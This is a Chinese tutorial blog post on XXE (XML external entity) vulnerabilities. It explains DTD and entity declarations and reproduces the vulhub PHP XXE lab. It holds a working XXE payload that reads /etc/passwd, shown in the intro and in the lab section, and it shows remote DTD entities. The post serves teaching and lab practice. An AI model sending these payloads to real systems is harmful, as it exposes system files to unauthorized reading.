xxe漏洞浅谈以及复现

一、xxe利用部分

<?xml version="1.0" encoding="utf-8"?>     ————>  xml声明
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>  ————>  DTD部分
    <user>
<name>&xxe;</name>
</user>                      ————>  xml部分

我们主要利用DTD中的实体部分

1、什么是DTD呢?

文档定义类型(DTD)1、定义元素(对应下xml中的标签) 2、定义实体(对应xml中内容)

 note.dtd中包含了标签note(根元素)、to、from等

2、两种外部文档说明(DTD)

1、 当引用的DTD文件是本地文件的时候,用SYSTEM标识,并写上”DTD的文件路径”,如下:

    <!DOCTYPE 根元素 SYSTEM "DTD文件路径">

 2、 如果引用的DTD文件是一个公共文件时,采用PUBLIC标识,如下:

    <!DOCTYPE 根元素 PUBLIC "DTD名称" "DTD文件的URL">

3、四种实体声明

1.  内部实体声明

<!ENTITY 实体名称 "实体的值">

<!DOCTYPE foo

[ <!ELEMENT foo ANY > <!ENTITY xxe "Thinking">]>

<foo>&xxe;</foo>

2.  外部实体声明

<!ENTITY 实体名称 SYSTEM "URI/URL">

<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE copyright
 [ <!ENTITY test SYSTEM "http://www.runoob.com/entities.dtd">]>
 <reset> 
<login>&test;</login> 
<secret>login</secret> 
</reset>

上述两种均为引用实体,主要在XML文档中被应用,引用方式:&实体名称; 末尾要带上分号,这个引用将直接转变成实体内容。

3.  参数实体声明

<!ENTITY % 实体名称 "实体的值"> 

<!ENTITY % 实体名称 SYSTEM "URI/URL">

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE copyright [ <!ENTITY % body SYSTEM "http://www.runoob.com/entities.dtd" > <!ENTITY xxe "%body;"> ]>

<reset>

<secret>login</secret>

</reset>

参数实体,被DTD文件自身使用 ,引用方式为:%实体名称。和通用实体一样,参数实体也可以外部引用。

允许包含外部实体,就可能存在XXE 攻击。

外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:

  

4.  公共实体声明

<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

上述如果我们可以将恶意代码放入自定实体中(entities.dtd)

二、复现vulhub中xxe漏​​​​洞

查看libxml版本为2.8.0

 Web目录为./www,其中包含4个文件:

$ tree .
.
├── dom.php # 示例:使用DOMDocument解析body
├── index.php
├── SimpleXMLElement.php # 示例:使用SimpleXMLElement类解析body
└── simplexml_load_string.php # 示例:使用simplexml_load_string函数解析body

dom.phpSimpleXMLElement.phpsimplexml_load_string.php均可触发XXE漏洞,具体输出点请阅读这三个文件的代码。

利用payload

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>

 

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值